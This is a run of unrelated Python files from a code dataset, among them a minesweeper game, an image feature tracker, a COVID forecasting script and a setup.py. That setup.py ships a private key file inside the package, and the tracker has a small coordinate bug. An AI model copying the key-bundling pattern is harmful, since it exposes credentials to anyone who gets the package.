args.ip:\n print('Please set ip (-i)')\n sys.exit()\n\n if args.localhost:\n domain = HTTP + 'localhost:' + args.port + '/'\n else:\n domain = HTTP + args.ip + ':' + args.port + '/'\n\n replace_celery_app(domain)\n replace_root_url(domain)\n\n print ('Changed host to ' + domain)\n\n","sub_path":"backend/change_url.py","file_name":"change_url.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"619881034","text":"# Copyright 2018 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom setuptools import find_packages\nfrom setuptools import setup\n\nREQUIRED_PACKAGES = [\n 'requests>=2.18.0',\n 'nltk',\n 'pandas-gbq==0.3.0',\n 'google-api-core<0.2.0dev,>=0.1.1',\n 'google-cloud-bigquery<0.29dev,>=0.28.0',\n]\n\nsetup(name='trainer',\n version='1.0',\n description='A butler package using scikit-lean.',\n author='Pawarisson Jaitahan',\n author_email='kan.pawarisson@gmail.com',\n license='Apache2',\n packages=find_packages(),\n ## WARNING! Do not upload this package to PyPI\n ## BECAUSE it contains a private key\n package_data={'': ['privatekey.json']},\n install_requires=REQUIRED_PACKAGES,\n zip_safe=False)","sub_path":"notebook/butler-cloud-ml/butler/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"369889090","text":"class Caja:\n def __init__(self, x, y, habitacion=None, caja_anterior=None, computadoras=None):\n '''\n La x & y son la posición de la caja en la habitación\n se toma la esquina superior izquierda como 0,0\n Anterior es la caja anterior a la actual\n '''\n self.x = x\n self.y = y\n self.caja_anterior = caja_anterior\n self.habitacion = habitacion\n if habitacion is not None:\n self.distancia_a_principal = self.calcular_distancia_principal()\n if computadoras is not None:\n self.computadoras = computadoras\n\n def calcular_distancia_principal(self):\n '''\n Calcula la distancia de la caja actual a la caja principal\n sumando el x & y para llegar a la habitación y\n el x & y para llegar a la caja dentro de la habitación\n '''\n distancia_a_hab = self.habitacion.x + self.habitacion.y\n distancia_a_caja = distancia_a_hab + self.x + self.y\n caja_principal = self.get_caja_principal(self)\n distancia_a_caja -= caja_principal.x + caja_principal.y\n return distancia_a_caja\n\n def get_caja_principal(self, caja):\n '''\n función recursiva que encuentra la caja principal\n para poder calcular la distancia a ella\n '''\n caja_anterior = caja.caja_anterior\n if caja_anterior is not None:\n caja = self.get_caja_principal(caja_anterior)\n return caja\n\n def get_dict(self):\n return {\n 'x': self.x,\n 'y': self.y\n }\n\n def __str__(self):\n return f'caja en posición X:{self.x} Y:{self.y}'\n","sub_path":"calculo/estructuras/Caja.py","file_name":"Caja.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"196188999","text":"import cv2\nimport numpy as np\nimport time\nfrom stats import Stats\nfrom utils import drawBoundingBox, drawStatistics, printStatistics, Points, HomographyFileUtil\n\n# AKAZE detection threshold set to locate about 1000 keypoints\nakaze_thresh: float = 3e-4\nransac_thresh: float = 2.5 # RANSAC inlier threshold\nnn_match_ratio: float = 0.8 # Nearest-neighbour matching ratio\nbb_min_inliers: int = 100 # Minimal number of inliers to draw bounding box\nstats_update_period: int = 10 # On-screen statistics are updated every 10 frames\n\n\n# def detectDrawKeyPoints(frame, detector):\n# keyPoints = detector.detect(frame, None)\n# kps, dps = detector.compute(frame, keyPoints)\n# cv2.drawKeypoints(frame, kps, None, color=(255, 0, 0),\n# flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\n\nclass Tracker:\n def __init__(self, detector, matcher):\n self.detector = detector\n self.matcher = matcher\n\n def setFirstFrame(self, frame, bb, title: str):\n iSize = len(bb)\n stat = Stats()\n ptContain = np.zeros((iSize, 2))\n i = 0\n for b in bb:\n #ptMask[i] = (b[0], b[1])\n ptContain[i, 0] = b[0]\n ptContain[i, 1] = b[1]\n i += 1\n\n self.first_frame = frame.copy()\n matMask = np.zeros(frame.shape, dtype=np.uint8)\n cv2.fillPoly(matMask, np.int32([ptContain]), (255, 0, 0))\n\n # cannot use in ORB\n # self.first_kp, self.first_desc = self.detector.detectAndCompute(self.first_frame, matMask)\n\n # find the keypoints with ORB\n kp = self.detector.detect(self.first_frame, None)\n # compute the descriptors with ORB\n self.first_kp, self.first_desc = self.detector.compute(\n self.first_frame, kp)\n\n # print(self.first_kp[0].pt[0])\n # print(self.first_kp[0].pt[1])\n # print(self.first_kp[0].angle)\n # print(self.first_kp[0].size)\n res = cv2.drawKeypoints(self.first_frame, self.first_kp, None, color=(\n 255, 0, 0), flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n\n stat.keypoints = len(self.first_kp)\n drawBoundingBox(self.first_frame, bb)\n\n cv2.imshow(\"key points of {0}\".format(title), res)\n cv2.waitKey(0)\n cv2.destroyWindow(\"key points of {0}\".format(title))\n\n cv2.putText(self.first_frame, title, (0, 60),\n cv2.FONT_HERSHEY_PLAIN, 5, (0, 0, 0), 4)\n self.object_bb = bb\n return stat\n\n def process(self, frame):\n stat = Stats()\n start_time = time.time()\n kp, desc = self.detector.detectAndCompute(frame, None)\n stat.keypoints = len(kp)\n matches = self.matcher.knnMatch(self.first_desc, desc, k=2)\n\n matched1 = []\n matched2 = []\n matched1_keypoints = []\n matched2_keypoints = []\n good = []\n\n for i, (m, n) in enumerate(matches):\n if m.distance < nn_match_ratio * n.distance:\n good.append(m)\n matched1_keypoints.append(\n self.first_kp[matches[i][0].queryIdx])\n matched2_keypoints.append(kp[matches[i][0].trainIdx])\n\n matched1 = np.float32(\n [self.first_kp[m.queryIdx].pt for m in good]).reshape(-1, 1, 2)\n matched2 = np.float32(\n [kp[m.trainIdx].pt for m in good]).reshape(-1, 1, 2)\n\n stat.matches = len(matched1)\n homography = None\n if (len(matched1) >= 4):\n homography, inlier_mask = cv2.findHomography(\n matched1, matched2, cv2.RANSAC, ransac_thresh)\n dt = time.time() - start_time\n stat.fps = 1. / dt\n if (len(matched1) < 4 or homography is None):\n res = cv2.hconcat([self.first_frame, frame])\n stat.inliers = 0\n stat.ratio = 0\n return res, stat\n inliers1 = []\n inliers2 = []\n inliers1_keypoints = []\n inliers2_keypoints = []\n for i in range(len(good)):\n if (inlier_mask[i] > 0):\n new_i = len(inliers1)\n inliers1.append(matched1[i])\n inliers2.append(matched2[i])\n inliers1_keypoints.append(matched1_keypoints[i])\n inliers2_keypoints.append(matched2_keypoints[i])\n inlier_matches = [cv2.DMatch(\n _imgIdx=0, _queryIdx=idx, _trainIdx=idx, _distance=0) for idx in range(len(inliers1))]\n inliers1 = np.array(inliers1, dtype=np.float32)\n inliers2 = np.array(inliers2, dtype=np.float32)\n\n stat.inliers = len(inliers1)\n stat.ratio = stat.inliers * 1.0 / stat.matches\n bb = np.array([self.object_bb], dtype=np.float32)\n new_bb = cv2.perspectiveTransform(bb, homography)\n frame_with_bb = frame.copy()\n if (stat.inliers >= bb_min_inliers):\n drawBoundingBox(frame_with_bb, new_bb[0])\n\n res = cv2.drawMatches(self.first_frame, inliers1_keypoints, frame_with_bb, inliers2_keypoints,\n inlier_matches, None, matchColor=(255, 0, 0), singlePointColor=(255, 0, 0))\n return res, stat\n\n def getDetector(self):\n return self.detector\n\n\ndef main():\n video_name = \"../robot.mp4\"\n calibrateFile = HomographyFileUtil(\"../calibrate_robot.yaml\")\n calibrateFile.open_read_mode()\n rvecs = calibrateFile.read_matrix('rvecs')\n tvecs = calibrateFile.read_matrix('tvecs')\n dist = calibrateFile.read_matrix('dist')\n mtx = calibrateFile.read_matrix('mtx')\n calibrateFile.close_file()\n\n video_in = cv2.VideoCapture()\n video_in.open(video_name)\n if (not video_in.isOpened()):\n print(\"Couldn't open \", video_name)\n return -1\n\n akaze_stats = Stats()\n orb_stats = Stats()\n\n akaze = cv2.AKAZE_create()\n akaze.setThreshold(akaze_thresh)\n\n orb = cv2.ORB_create()\n\n matcher = cv2.DescriptorMatcher_create(\"BruteForce-Hamming\")\n\n akaze_tracker = Tracker(akaze, matcher)\n orb_tracker = Tracker(orb, matcher)\n\n cv2.namedWindow(video_name, cv2.WINDOW_NORMAL)\n print(\"\\nPress any key to stop the video and select a bounding box\")\n\n key = -1\n\n while(key < 1):\n _, frame = video_in.read()\n w, h, ch = frame.shape\n cv2.resizeWindow(video_name, (h, w))\n cv2.imshow(video_name, frame)\n # detectDrawKeyPoints(frame, akaze)\n key = cv2.waitKey(1)\n\n print(\"Select a ROI and then press SPACE or ENTER button!\")\n print(\"Cancel the selection process by pressing c button!\")\n uBox = cv2.selectROI(video_name, frame)\n bb = []\n bb.append((uBox[0], uBox[1]))\n bb.append((uBox[0] + uBox[2], uBox[0]))\n bb.append((uBox[0] + uBox[2], uBox[0] + uBox[3]))\n bb.append((uBox[0], uBox[0] + uBox[3]))\n\n stat_a = akaze_tracker.setFirstFrame(frame, bb, \"AKAZE\",)\n stat_o = orb_tracker.setFirstFrame(frame, bb, \"ORB\")\n\n akaze_draw_stats = stat_a.copy()\n orb_draw_stats = stat_o.copy()\n\n i = 0\n video_in.set(cv2.CAP_PROP_POS_FRAMES, 0)\n while True:\n i += 1\n update_stats = (i % stats_update_period == 0)\n _, frame = video_in.read()\n if frame is None:\n # End of video\n break\n akaze_res, stat = akaze_tracker.process(frame)\n akaze_stats + stat\n if (update_stats):\n akaze_draw_stats = stat\n orb.setMaxFeatures(stat.keypoints)\n orb_res, stat = orb_tracker.process(frame)\n orb_stats + stat\n if (update_stats):\n orb_draw_stats = stat\n drawStatistics(akaze_res, akaze_draw_stats)\n drawStatistics(orb_res, orb_draw_stats)\n res_frame = cv2.vconcat([akaze_res, orb_res])\n # cv2.imshow(video_name, akaze_res)\n cv2.imshow(video_name, res_frame)\n if (cv2.waitKey(1) == 27): # quit on ESC button\n break\n\n akaze_stats / (i - 1)\n orb_stats / (i - 1)\n printStatistics(\"AKAZE\", akaze_stats)\n printStatistics(\"ORB\", orb_stats)\n return 0\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"lab-6/py/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"439407009","text":"import sys\r\nfrom core.args import args\r\n\r\ndef log(s, onscreen=True):\r\n '''Make a log entry'''\r\n if args.debug:\r\n if onscreen:\r\n sys.stdout.write(s)\r\n with open('debug.log', mode='a', encoding='utf-8') as d_file:\r\n d_file.write(s)\r\n","sub_path":"python3/Lib/gntools/debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"591091664","text":"import pygame\nfrom pygame.locals import *\nfrom random import randint\n# import pprint\n\nSCREEN_SIZE = (800, 600)\nGRID_SIZE = 30\nTIPS_FONT_SIZE = 20\nBOMB_NUM_SIZE = 16\nOFFSET = 10 # offset to original point\nROW = 9 # max num in x-axis\nCOLUMN = 9 # max num in y-axis\nBOMBS = 10 # bombs number in mine grid\n\n# color definition\nBLACK_COLOR = (0, 0, 0)\nGRID_LINE_COLOR = (0, 0, 255)\nDEFAULT_COLOR = (0, 255, 255)\nOVER_COLOR = (255, 200, 90)\nFLAG_COLOR = (200, 100, 200)\nBOMB_COLOR = (255, 0, 0)\nBOMB_NUM_COLOR = (155, 55, 25)\nTIPS_COLOR = (255, 255, 100)\nOPEN_COLOR = (255, 200, 90)\n\naround_index = ((-1, -1), (0, -1), (1, -1), (-1, 0), (1, 0), (-1, 1), (0, 1), (1, 1))\n\n\n# initial mine dictionary, with given number bombs in random position\ndef MineInit(row, column, bombs_num):\n # initial mine dictionary , with no bombs in it.\n # has a trick:around the grid set extra circle, set all the value to 0\n mine = {}\n for y in range(-1, column+1):\n for x in range(-1, row+1):\n mine.setdefault((x, y), {'bomb': 0, 'flag': 0, 'bomb_around': 0})\n # given number bombs in random coordinate\n bombs = []\n while len(bombs) < bombs_num:\n coord = (randint(0, row-1), randint(0, column-1))\n if coord not in bombs:\n bombs.append(coord)\n # set the value of the given coordinate position in mine dictionary to 'bomb':1, means that it contain a bomb\n for b in bombs:\n mine[b]['bomb'] = 1\n # mine[b]['flag'] = 1\n # every grid around the bomb grid set its 'bomb_around' increase one(total 8 grid should change)\n for idx in around_index:\n mine[(b[0]+idx[0], b[1]+idx[1])]['bomb_around'] += 1\n # return mine dictionary\n return mine\n\n\n# initial the mine board, surface: where to draw; row: max row line in x-axis; column: max column line in y-axis\ndef GameInit(surface, row, column, bombs_num):\n surface.fill(BLACK_COLOR)\n # draw y-axis lines\n for x in range(row+1):\n p1 = (x*(GRID_SIZE+1)+OFFSET, 0+OFFSET)\n p2 = (x*(GRID_SIZE+1)+OFFSET, column*(GRID_SIZE+1)+OFFSET)\n pygame.draw.line(surface, GRID_LINE_COLOR, p1, p2)\n # print('column: ', p1, '->', p2)\n # draw x-axis lines\n for y in range(column+1):\n p1 = (0 + OFFSET, y * (GRID_SIZE+1) + OFFSET)\n p2 = (row * (GRID_SIZE+1) + OFFSET, y * (GRID_SIZE+1) + OFFSET)\n pygame.draw.line(surface, GRID_LINE_COLOR, p1, p2)\n # print('row: ', p1, '->', p2)\n mine_grid = MineInit(row, column, bombs_num)\n\n # draw all the mine grids,\n # k is mine_grid's key,means a coordinate; v is mine_grid's value, is a dict too. v.key 'bomb' means a bomb or not\n for k, v in mine_grid.items():\n # don't draw the extra circle around the mine grids\n if -1 < k[0] < row and -1 < k[1] < column:\n draw_rect (surface, DEFAULT_COLOR, k)\n # if v['bomb'] == 1:\n # draw_rect(surface, BOMB_COLOR, k)\n # else:\n # draw_rect(surface, DEFAULT_COLOR, k)\n\n # draw the tips text\n txt = '\\'R\\': restart'\n pos = (OFFSET*4, column*(GRID_SIZE+1) + OFFSET*4)\n write_label(surface, txt, pos, TIPS_COLOR, TIPS_FONT_SIZE)\n txt = '\\'S\\': show bombs'\n pos = (OFFSET * 4, column * (GRID_SIZE + 1) + OFFSET * 4 + TIPS_FONT_SIZE*1)\n write_label(surface, txt, pos, TIPS_COLOR, TIPS_FONT_SIZE)\n txt = '\\'H\\': hide bombs'\n pos = (OFFSET * 4, column * (GRID_SIZE + 1) + OFFSET * 4 + TIPS_FONT_SIZE * 2)\n write_label(surface, txt, pos, TIPS_COLOR, TIPS_FONT_SIZE)\n\n # draw game information\n draw_info_window (surface, BOMBS, 0)\n\n # update the game board and return the mine_grid\n pygame.display.update()\n return mine_grid\n\n\ndef draw_info_window(surface, bombs, time):\n # ps = Rect(SCREEN_SIZE[0]-150, OFFSET, 140, 90)\n ps = Rect (ROW*(GRID_SIZE+1) + 50, OFFSET, 140, 90)\n pygame.draw.rect(surface, GRID_LINE_COLOR, ps, 2)\n\n cls_ps = (ps[0]+5, ps[1]+5, 130, 80)\n pygame.draw.rect (surface, BLACK_COLOR, cls_ps)\n txt_bombs = 'bomb: ' + str(bombs)\n txt_time = 'time: ' + str(time)\n write_label (surface, txt_bombs, (ps[0]+OFFSET, ps[1]+OFFSET), TIPS_COLOR, TIPS_FONT_SIZE)\n write_label (surface, txt_time, (ps[0]+OFFSET, ps[1]+OFFSET+TIPS_FONT_SIZE*2), TIPS_COLOR, TIPS_FONT_SIZE)\n pygame.display.update()\n\n # print(bombs)\n # print(time)\n\n\n# write label in setting position\ndef write_label(surface, message, pos, message_color, size):\n # message txt render\n font = pygame.font.SysFont(\"simsunnsimsun\", size, 0)\n label = font.render(message, True, message_color)\n surface.blit(label, pos)\n\n\n# draw rect with given color\ndef draw_rect(surface, draw_color, coord):\n x = coord[0] * (GRID_SIZE+1) + OFFSET\n y = coord[1] * (GRID_SIZE+1) + OFFSET\n pos = (x + 1, y + 1)\n shape = (GRID_SIZE, GRID_SIZE)\n pygame.draw.rect(surface, draw_color, Rect(pos, shape))\n # print(pos)\n\n\n# 判断鼠标是否经过游戏棋盘的某个坐标,返回此坐标\ndef is_over(point):\n # point 是鼠标经过的点的坐标值\n point_x, point_y = point\n point_x -= OFFSET\n point_y -= OFFSET\n\n # if the point in game board, return its coordinate\n if (0 < point_x < ROW*(GRID_SIZE+1)) and (0 < point_y < COLUMN*(GRID_SIZE+1)):\n in_x = int(point_x/(GRID_SIZE+1))\n in_y = int(point_y/(GRID_SIZE+1))\n coord = (in_x, in_y)\n return coord\n else:\n return None\n\n\n# when mouse moves action, 鼠标经过棋盘时,经过的格子会变颜色,离开原来的格子时,原来格子变回默认颜色\ndef mouse_move(surface, pos, pre_coord, mine_grid):\n over_coord = is_over(pos)\n # 当前经过坐标在棋盘内, 则根据当前格子是否已经翻开决定是否改变颜色\n if over_coord: # in mine_grid.keys():\n if over_coord != pre_coord:\n if mine_grid[over_coord]['flag'] == 0:\n draw_rect(surface, OVER_COLOR, over_coord)\n if (pre_coord is not None) and (mine_grid[pre_coord]['flag'] == 0):\n draw_rect(surface, DEFAULT_COLOR, pre_coord)\n # 离开棋盘,恢复原来着色\n else:\n if (pre_coord is not None) and (mine_grid[pre_coord]['flag'] == 0):\n draw_rect(surface, DEFAULT_COLOR, pre_coord)\n\n pygame.display.update()\n return over_coord\n\n\ndef show_bombs(surface, mine_grid):\n for k, v in mine_grid.items ():\n # don't draw the extra circle around the mine grids\n if -1 < k[0] < ROW and -1 < k[1] < COLUMN:\n if v['bomb'] == 1:\n draw_rect (surface, BOMB_COLOR, k)\n pygame.display.update()\n\n\ndef hide_bombs(surface, mine_grid):\n for k, v in mine_grid.items ():\n # don't draw the extra circle around the mine grids\n if -1 < k[0] < ROW and -1 < k[1] < COLUMN:\n if v['bomb'] == 1:\n draw_rect (surface, DEFAULT_COLOR, k)\n pygame.display.update ()\n\n\ndef mouse_left_press(surface, coord, mine_grid):\n if coord:\n if mine_grid[coord]['flag'] == 0: # 是否是未打开过的格子?\n if mine_grid[coord]['bomb'] == 1: # this grid has a bomb, return 'game over'\n print('game over')\n return 'game over'\n else:\n grid_open(surface, coord, mine_grid) # open itself\n pygame.display.update()\n return 'open ok'\n else:\n return None\n\n\ndef grid_open(surface, coord, mine_grid):\n # 如果坐标在盘内,且未打开过, 就打开此格,且判断它是否周围没有雷,是就再翻开周边八个格子。\n if -1 < coord[0] < ROW and -1 < coord[1] < COLUMN and mine_grid[coord]['flag'] == 0:\n mine_grid[coord]['flag'] = 3\n draw_rect(surface, OPEN_COLOR, coord)\n write_numbers(surface, coord, mine_grid)\n if mine_grid[coord]['bomb_around'] == 0:\n for idx in around_index:\n grid_open(surface, (coord[0] + idx[0], coord[1] + idx[1]), mine_grid)\n else:\n return None\n\n\ndef write_numbers(surface, coord, mine_grid):\n if mine_grid[coord]['bomb_around'] != 0:\n font = pygame.font.SysFont(\"arial\", BOMB_NUM_SIZE)\n txt = str(mine_grid[coord]['bomb_around'])\n p1 = coord[0] * (GRID_SIZE + 1) + OFFSET + 15\n p2 = coord[1] * (GRID_SIZE + 1) + OFFSET + 10\n pos = (p1, p2)\n label = font.render(txt, True, BOMB_NUM_COLOR)\n surface.blit(label, pos)\n\n\ndef write_flags(surface, coord, mine_grid):\n if mine_grid[coord]['flag'] == 0:\n txt = ''\n write_color = OVER_COLOR\n if mine_grid[coord]['flag'] == 1:\n txt = '*'\n write_color = FLAG_COLOR\n if mine_grid[coord]['flag'] == 2:\n txt = '?'\n write_color = FLAG_COLOR\n\n draw_rect (surface, write_color, coord)\n font = pygame.font.SysFont(\"arial\", BOMB_NUM_SIZE)\n p1 = coord[0] * (GRID_SIZE + 1) + OFFSET + 15\n p2 = coord[1] * (GRID_SIZE + 1) + OFFSET + 10\n pos = (p1, p2)\n label = font.render(txt, True, BOMB_COLOR)\n surface.blit(label, pos)\n pygame.display.update()\n\n\ndef mouse_right_press(surface, coord, mine_grid):\n if coord and mine_grid[coord]['flag'] != 3:\n if mine_grid[coord]['flag'] == 0: # 是否是未打开过的格子?\n mine_grid[coord]['flag'] = 1\n return_info = 'bomb_minus'\n elif mine_grid[coord]['flag'] == 1: # 是否是格子显示小旗子?\n mine_grid[coord]['flag'] = 2\n return_info = 'bomb_add'\n elif mine_grid[coord]['flag'] == 2: # 是否是格子显示'?'?\n mine_grid[coord]['flag'] = 0\n return_info = None\n\n write_flags (surface, coord, mine_grid)\n return return_info\n else:\n return None\n\n\ndef mouse_left_right_press():\n pass\n\n\ndef GameOver(surface, mine_grid):\n show_bombs(surface, mine_grid)\n txt = 'Game Over!!!'\n write_label(surface, txt, (SCREEN_SIZE[0]/5, SCREEN_SIZE[1]/3), (0, 0, 255), 80)\n pygame.display.update()\n\n\ndef GameWin(surface, mine_grid):\n bombs_found = 0\n for k, v in mine_grid.items():\n if v['bomb'] and v['flag'] == 1:\n bombs_found += 1\n\n if bombs_found == BOMBS:\n txt = 'You Won!!!'\n write_label (surface, txt, (SCREEN_SIZE[0] / 5, SCREEN_SIZE[1] / 3), (0, 0, 255), 80)\n pygame.display.update ()\n return 'game win'\n else:\n return None\n\n\ndef run():\n # initial the game screen\n pygame.init()\n screen = pygame.display.set_mode(SCREEN_SIZE, 0, 32)\n mine_grid = GameInit(screen, ROW, COLUMN, BOMBS)\n pre_coord = None\n clock = pygame.time.Clock ()\n time_passed_seconds = 0\n pre_seconds = 0\n bomb_remain = BOMBS\n game_status = 'begin'\n\n while True:\n for event in pygame.event.get ():\n if event.type == QUIT:\n return\n if event.type == KEYDOWN:\n if event.key == K_r:\n mine_grid = GameInit (screen, ROW, COLUMN, BOMBS)\n pre_seconds = 0\n time_passed_seconds = 0\n time_passed = clock.tick()\n bomb_remain = BOMBS\n game_status = 'begin'\n if game_status == 'game over':\n GameOver(screen, mine_grid)\n game_status = 'waiting'\n\n if game_status == 'begin':\n # main game loop\n while True:\n time_passed = clock.tick ()\n time_passed_seconds += time_passed / 1000\n if int(time_passed_seconds) != pre_seconds:\n draw_info_window (screen, bomb_remain, int(time_passed_seconds))\n pre_seconds = int(time_passed_seconds)\n\n if game_status == 'game over':\n break\n\n game_status = GameWin (screen, mine_grid)\n if game_status == 'game win':\n break\n\n for event in pygame.event.get():\n if event.type == QUIT:\n return\n if event.type == KEYDOWN:\n if event.key == K_r:\n mine_grid = GameInit(screen, ROW, COLUMN, BOMBS)\n time_passed_seconds = 0\n pre_seconds = 0\n bomb_remain = BOMBS\n elif event.key == K_s:\n show_bombs(screen, mine_grid)\n elif event.key == K_h:\n hide_bombs(screen, mine_grid)\n\n if event.type == MOUSEMOTION:\n over_coord = mouse_move(screen, event.pos, pre_coord, mine_grid)\n if over_coord != pre_coord:\n pre_coord = over_coord\n if event.type == MOUSEBUTTONDOWN:\n click_coord = is_over (event.pos)\n if event.button == 1:\n # print('mouse left press')\n game_status = mouse_left_press(screen, click_coord, mine_grid)\n elif event.button == 3:\n print ('mouse right press')\n bomb_remain_info = mouse_right_press(screen, click_coord, mine_grid)\n if bomb_remain_info == 'bomb_minus':\n bomb_remain -= 1\n elif bomb_remain_info == 'bomb_add':\n bomb_remain += 1\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"mineSweeping.py","file_name":"mineSweeping.py","file_ext":"py","file_size_in_byte":13623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"93048004","text":"class Solution(object):\n def TwoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n pos = dict()\n for i, num in enumerate(nums):\n if target - num in pos:\n return [pos[target - num], i]\n else:\n pos[num] = i\n return [0, 0]\n\n\nnums = [7, 2, 11, 15]\ntarget = 9\np = Solution()\nprint(p.TwoSum(nums,target))","sub_path":"DS-400/Easy/1-Two Sum/DictLoops.py","file_name":"DictLoops.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"154692036","text":"from sys import stdin, setrecursionlimit\n\n\ndef main():\n input = stdin.buffer.readline\n n, d = map(int, input().split())\n ans = 0\n while ans * (2 * d + 1) < n:\n ans += 1\n print(ans)\n\n\nif __name__ == \"__main__\":\n setrecursionlimit(10000)\n main()\n","sub_path":"Python_codes/p02970/s165770557.py","file_name":"s165770557.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"640821548","text":"import pandas as pd\nimport numpy as np\nfrom utils import *\nfrom sklearn.preprocessing import MinMaxScaler\nfrom ML_model import fit_model, make_forecasts, eval_forecasts\nfrom plot import plot_state_prediction\nimport sys\n\n\ndef process_data(state):\n\n X = pd.read_csv('weekly_india_case_data.csv')\n states_list = X['state'].tolist()\n # process all state data, already present from 4/26/2020 to 07/4/2021, total of 63 weeks\n if state == 'all':\n print(\"processing for all states\")\n X.drop(['state'], axis=1, inplace=True)\n elif state in states_list:\n print(f\"processing for state: {state}\") \n else:\n print(\"state not present\")\n sys.exit()\n return X.values, states_list\n\nin_win = 5\nout_win = 4\nbatch_size = 1\nn_epochs = 1000\nstate = 'all'\nraw_data, states_list = process_data(state)\nraw_data = np.transpose(raw_data)\nscaler = MinMaxScaler(feature_range=(-1, 1))\nscaled_values = scaler.fit_transform(raw_data)\n\nX_tr, Y_tr, X_t, Y_t = convert_to_supervised(scaled_values, in_win, out_win, 0.4)\n\nmodel = fit_model(X_tr, Y_tr, in_win, out_win, n_epochs, batch_size, True, 'ED')\n\n# test prediction\ntest_prediction = make_forecasts(model, batch_size, X_t, in_win, out_win)\nrmse, mape, mae = eval_forecasts(Y_t, test_prediction, in_win, out_win)\nprint(f\"TESTING : rmse:{rmse}, mape:{mape}, mae:{mae}\")\n \n\n# train prediction\ntrain_prediction = make_forecasts(model, batch_size, X_tr, in_win, out_win)\nrmse, mape, mae = eval_forecasts(Y_tr, train_prediction, in_win, out_win)\nprint(f\"TRAINING : rmse:{rmse}, mape:{mape}, mae:{mae}\")\n\nprint(train_prediction.shape)\nprint(test_prediction.shape)\nprint(Y_tr.shape)\nprint(Y_t.shape)\n \n# rescale\n\n# test prediction\ntest_prediction = make_forecasts(model, batch_size, X_t, in_win, out_win)\nfor i in range(len(test_prediction)):\n test_prediction[i,:,:] = np.rint(scaler.inverse_transform(test_prediction[i,:,:]))\n Y_t[i,:,:] = np.rint(scaler.inverse_transform(Y_t[i,:,:]))\nrmse, mape, mae = eval_forecasts(Y_t, test_prediction, in_win, out_win)\nprint(f\"TESTING after rescaling: rmse:{rmse}, mape:{mape}, mae:{mae}\")\n \n\n# train prediction\ntrain_prediction = make_forecasts(model, batch_size, X_tr, in_win, out_win)\nfor i in range(len(train_prediction)):\n train_prediction[i,:,:] = np.rint(scaler.inverse_transform(train_prediction[i,:,:]))\n Y_tr[i,:,:] = np.rint(scaler.inverse_transform(Y_tr[i,:,:]))\nrmse, mape, mae = eval_forecasts(Y_tr, train_prediction, in_win, out_win)\nprint(f\"TRAINING after rescaling: rmse:{rmse}, mape:{mape}, mae:{mae}\")\n\nplot_state_prediction(states_list, train_prediction, Y_tr, 'Training')\nplot_state_prediction(states_list, test_prediction, Y_t, 'Testing')\n","sub_path":"covid_india.py","file_name":"covid_india.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"292728889","text":"import pygame\nimport cv2\nimport os\nimport numpy as np\n\n\nclass Display():\n \n def __init__(self, W, H, x=-200, y=100):\n pygame.init()\n os.environ['SDL_VIDEO_WINDOW_POS'] = '{},{}'.format(x,y)\n self.window = pygame.display.set_mode((W, H))\n pygame.display.set_caption('CrowdForce')\n\n def paint(self, img):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit(0)\n\n # create surface\n frame = np.rot90(img)\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n surf = pygame.surfarray.make_surface(frame)\n\n # blit img\n self.window.blit(surf, (0, 0))\n pygame.display.update()\n","sub_path":"display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"113868553","text":"import tensorflow as tf\nimport numpy as np\nimport sys,tty,termios\n\nclass _Getch:\n def __call__(self):\n fd = sys.stdin.fileno()\n old_settings = termios.tcgetattr(fd)\n try:\n tty.setraw(sys.stdin.fileno())\n ch = sys.stdin.read(3)\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n return ch\n\ndef get():\n inkey = _Getch()\n while(1):\n k=inkey()\n if k!='':break\n if k=='\\x1b[C':\n print(\"right\")\n return 1\n elif k=='\\x1b[D':\n print(\"left\")\n return 0\n else:\n print(\"not an arrow key!\")\n return -1\n\nclass Env(object):\n def __init__(self, steps = 5):\n print(\"Game start\") \n self.steps = steps\n self.pose = int(steps/2)\n self.print_state()\n def print_state(self):\n '''\n L001...00W\n '''\n positions = np.zeros(self.steps)\n if self.pose >= 0 and self.pose < self.steps:\n positions[self.pose] = 1\n s = \"\"\n for i in range(self.steps):\n if positions[i]==0:\n s = s+\"0\"\n else:\n s = s+\"1\"\n print(\"L\"+s+\"W\")\n \n def move(self, control):\n '''\n input :\n control\n 1 : move right\n 0 : move left\n return :\n new_state:\n new_position \n reward :\n 1 : game terminate 